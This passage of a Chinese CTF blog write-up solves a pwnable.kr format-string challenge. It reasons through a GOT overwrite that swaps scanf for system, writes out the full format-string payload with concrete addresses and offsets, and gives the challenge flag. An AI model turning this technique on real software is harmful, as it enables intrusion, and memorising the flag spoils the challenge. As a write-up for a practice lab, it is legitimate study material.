6        v2 = &src[v7++];
7        __isoc99_sscanf(v9, "%02x", v2);
8        i += 2;
9      }
c

它的参数来源于 v9,也就是我输入 hex 数据的前两字节。

换成 system 后:system(v9, "%02x", v2);,而 system 函数只看第一个参数。所以输出 sh 就可以了。

这题没有 PIE,函数地址都是固定的

  • scanf:0x602048
  • system:0x4007C0
  • func:0x602500

所以payload 长这样:[打印 0x4007c0 字符]%(scanf 地址偏移)$n[打印特定数量凑整]%(前面偏移+1)$hn%(再加 1)$hn[scanf 地址][scanf 地址+4][scanf 地址+6]

由于 scanf 被调用过,里面是 libc 地址,所以不仅要写入低 4 字节,还要往里面高四字节分别写入 00。

0x4007c0 = 4196288

想要把写入的字数变成 0,只要大到溢出,然后 mod 65536 为 0 就行,也就是 65536 倍数。

这里取63552,加上之前的 4196288 是4259840,是 65536 倍数,于是变成 0,就能写入 00 了

高字节的高二字节就不用折腾了,因为已经是 0 了,直接写偏移就好。

现在 payload 变成了%4196288c%N$n%63552c%N+1$hn%N+2$hn[scanf 地址][scanf 地址+4][scanf 地址+6]

已经知道了字符串是 140 偏移,那么 N 起码是一百多,也就是 3 位数,所以前面的格式化部分长度为 36。

由于g_pbuf[i] = v2;,这里 v2 四字节,所以实际上是每个字符占 4 个字节,上面 36 个字符就是 144 字节,64 位系统,8 字节一个位置,那就是占了 18 个位置。所以后面那个 scanf 地址应该是 140+18=158 的偏移。

payload:%4196288c%158$n%63552c%159$hn%160$hn[scanf 地址][scanf 地址+4][scanf 地址+6]

注意,后面的地址要打包添加在后面。

exp:

flag:w4at_a_buggy_RS4_c4lculat0r

这题好难,没有 AI 我根本做不出来,一点点问 AI。 DeepSeek-V4-Pro 太好用了。


RANK:113!哇终于进入排行榜了。

休息一下,我要去看一下其他的内容了。

Pwnable.kr 刷题记录
https://h4cker.zip/b7a8ad/
Author Tajang
Published at May 3, 2026
Copyright CC BY-NC-SA 4.0